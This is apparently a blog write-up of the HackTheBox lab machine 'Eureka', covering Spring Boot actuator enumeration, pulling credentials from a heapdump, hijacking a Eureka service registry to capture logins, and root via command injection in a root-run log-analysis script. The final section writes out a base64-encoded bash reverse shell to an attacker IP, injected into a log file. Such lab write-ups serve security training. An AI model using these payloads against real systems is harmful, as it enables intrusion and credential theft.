Post

HackTheBox - Eureka

Hard-Rated HTB Machine

HackTheBox - Eureka

TL;DR

Enumeration

  • Found open ports and identified Spring Boot via error pages.
  • Used /etc/hosts and fuzzing to discover actuator endpoints.

Foothold

  • Retrieved credentials from exposed diagnostics and heap dumps.
  • Logged in using valid creds.

Lateral Movement

  • Found internal services and configs.
  • Intercepted traffic via fake service registration.
  • Reused internal creds to pivot.

Privilege Escalation

  • Exploited a root script parsing writable logs.
  • Injected code for root access.

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap $target -sV -sC -vv -Pn -oN eurika-default-scan
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
|   256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And we add the required entry on /etc/hosts

1
echo $target furni.htb eurika.htb | sudo tee -a /etc/hosts

Web Recon

A bit further:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ curl -I http://furni.htb 
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 04 Aug 2025 23:39:32 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US

Whatweb

1
2
$ whatweb furni.htb 
http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]

Wappalyzer

Here

Okay we have basic idea about the technology behind the web app.

Fuzzing

Both fuzzing for subdomains/vhosts and directories lead to nothing at first. Because I used the wrong wordlists.

I ran these two commands:

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://furni.htb/FUZZ

And

1
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://furni.htb/ -H "Host: FUZZ.furni.htb"

Which lead to nothing. I had no idea about what was the technology stack behind the machine, what is being created/sent/trasnferred or whatsoever.

In here, I was trying things with the session header in the /login and /register portals. Nothing went as I expected.

Until I stumbled upon an inexistent page. which showed this error page:

Here

A simple Google search and turns out that this is the default SpringBoot Error page.

So our goal now is to come back to fuzzing and recon to find some technology-specific endpoints, vhosts..etc which was fruitful.

1
2
3
4
$ find /usr/share/seclists -name *springboot* 2>/dev/null

$ find /usr/share/seclists/ -name *Spring* 2>/dev/null 
/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt

And we find /actuator directory.

Although calling it “directory” is wrong, because Spring Boot Actuators are endpoints that provide monitoring and information about resources of endpoints using HTTP urls not really a physical dierctory.

Within the Actuator endpoint, we can access even more endpoints like /health, /info…etc

Foothold

A bit more fuzzing and we find the stuff:

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt:FUZZ -u http://furni.htb/FUZZ

Here

Which can also be found using dirsearch

1
dirsearch -u http://furni.htb/ -t 50

The thing that sounded the weirdest to be exposed was the /heapdump. Will come back to this in a moment.

I prefered poking around some endpoints like

  • /env: which exposed this directory : /var/www/web/Furni/src/main/resources/application.properties which we will need after in the foothold machine.

And a mention about Eureka instance.

But a lot is censored like management.endpoints.web.exposure.include which tells what endpoints are included within /actuator

Here

Here

So, the others revealed nothing really import, jumping right into /actuator/heapdump.

1
wget http://furni.htb/actuator/heapdump -O heapdump

I searched for tools to analyze the file, they exist, but I found it difficuelt to use them: weird syntax, I didn’t where to look at.

So? Good old strings.

1
strings heapdump | less -S

And then within the opened pager, I searched with /password and looped through the existing hits using n. Until I found these creds: {password=<PASSWORD>, user=<USER>}!

Simply, SSH into the machine using:

1
ssh oscar190@furni.htb

Lateral Movement

  • sudo -l made the server laugh at me.
  • find / -perm -4000 2>/dev/null didn’t lead to nothing either.
  • netstat -tulpn showed some services running on 8080, 8081, 8082. I overlookedone that was running on 8761. Which was the real target.

I tried Local Port Forwarding of 8080, 8081 and 8082 using the following command:

1
sudo -L 8080:localhost:8080 -L 8081:localhost:8081 -L 8082:localhost:8082 oscar190@furni.htb

Which was completely wrong because those were microservices running for the service running on 8761. Which at this point, still haven’t figured it out.

So I ran the linpeas and got things about a service called Eureka at the directory mentionned in the /actuator/env endpoint.

Only now i port forwarded the service at 8761 to face this:

Here

So we need creds. Let’s enumerate some more.

Targets:

1
2
ls /var/www/web/
cloud-gateway  Eureka-Server  Furni  static  user-management-service

Simply ran this following command and found some creds:

1
grep -ri password /var/www/web/*

Here

We need a username for the second password. So navigating to that yaml file and we get the creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
spring:
  application:
    name: "Eureka Server"

  security:
    user:
      name: <USER>
      password:<PASS> 

server:
  port: 8761
  address: 0.0.0.0

eureka:
  client:
    register-with-eureka: false
    fetch-registry: false

Her

And we connect to the forwarded service, to find a Goldmine:

Here

Those were the services I was trying to forward alone without the Eureka service.

A bit of research showed that this exposure of the registry server is a critical vulnerability that could lead us to RCE.

Our goal now is to create a malicious micro-service-look-alike, we might hijack internal services connections, exploit some SSRF and exploit the target’s traffic.

In here, I foudn the correct idea, but port-forwarding the microservices ports was the issue. We need to use that port as a listener and act as the legit one.

So i broke the portwrwarding connection and did this:

First we start a listener at 8081:

1
nc -nlvp 8081

And then run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl -X POST http://user:pass@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H "Content-Type: application/json"   -H "Accept: application/json"   -d '{
    "instance": {
      "hostName": "<YOUR IP>",
      "app": "USER-MANAGEMENT-SERVICE",
      "vipAddress": "USER-MANAGEMENT-SERVICE",
      "secureVipAddress": "USER-MANAGEMENT-SERVICE",
      "ipAddr": "<YOUR IP>",
      "status": "UP",
      "port": { "$": 8081, "@enabled": true },
      "dataCenterInfo": {
        "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
        "name": "MyOwn"
      }
    }
  }'

After some time, we will get a hit back containing valid miranda-wise creds. And logging in as miranda-wise will get us the user flag.

here

1
ssh miranda-wise@10.10.11.66

User flag owned.

Privilege Escalation

Recon

Now aiming at the root user, the usual recon:

1
id && uname -a
1
sudo -l

Can’t run it.

1
find / -perm -4000 2>/dev/null 

Nothing, except a rabbit hole I created for myself by searching for dmcrypt-get-device binary. I don’t know why either.

1
netstat -tulpn

Nothing new, the same microservices from before.

1
2
3
4
5
6
7
8
9
ps aux | grep root

<REDACTED>

root      962398  0.0  0.0   2608   592 ?        Ss   20:00   0:00 /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh
root      962402  0.0  0.0   6892  3420 ?        S    20:00   0:00 /bin/bash /opt/scripts/miranda-Login-Simulator.sh

<REDACTED>

Okay, a script running with sudo privileges, but we don’t have permissions over the whole /opt/scripts directory.

BUT.

An interesting script at the /opt directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi


analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")

    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}


analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}


analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}


display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))
        
        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi
        
        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}


# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

The file might lead to something since it is owned by root, and accepts a user input. With some tempering, we might get something back.

Only if we get this file to be executed, which is indeed being regularly.

Which is confirmed by pspsy tool.

1
2
3
4
5
6
7
8
9
10
11
12
attack-host$ scp pspy64 miranda-wise@10.10.11.66

miranda-wise$ pspy64

<REDACTED>

2025/08/05 20:18:03 CMD: UID=0     PID=986618 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/08/05 20:18:03 CMD: UID=0     PID=986621 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/08/05 20:18:03 CMD: UID=0     PID=986623 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/08/05 20:18:03 CMD: UID=0     PID=986622 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

<REDACTED>

And confirmed with linpeas:

1
2
3
attack-host$ scp linpeas.sh miranda-wise@10.10.11.66

miranda@target$ bash linpeas.sh

here

here

here

PE Vector

So, what do we have now:

  • A script owned by root and gets executed by root periodically.
  • The script takes the /var/www/web/cloud-gateway/log/application.log for which we have rw- permissions on.

So if the script is vulnerable, we can overwrite that file with a malicious code to break the legit execution and perform whatever we can.

Code Analysis

Here is the vulnerable function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

The function takes the value after Status: and expects it to be a number. When comparing it here:

1
if [[ "$existing_code" -eq "$code" ]]; then

If we put for example this line: Status: 200; whoami the comparaison fails and our code gets executed.

But, the result is being saved to log_analysis.txt for which we have no privileges and that payload won’t even work.

I thought of using $() and get a rev shell when evaluating the command, but that didn’t work because It errors out when being compared later because it needs to be a string. So the solution is wrapping it wiht x[] and get the final payload:

Setup a listener and encode this payload bash -i >& /dev/tcp/<IP>/<PORT> 0>&1.

1
2
3
4
cd /var/www/web/cloud-gateway/log
rm -f application.log
echo 'HTTP Status: x[$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTkvOTQ0MyAwPiYxCg== | base64 -d | bash -i)]' >> application.log
./pspy64

We wait for the root user to start executing the script:

Here

Soon enough:

Rooted!

This post is licensed under CC BY 4.0 by the author.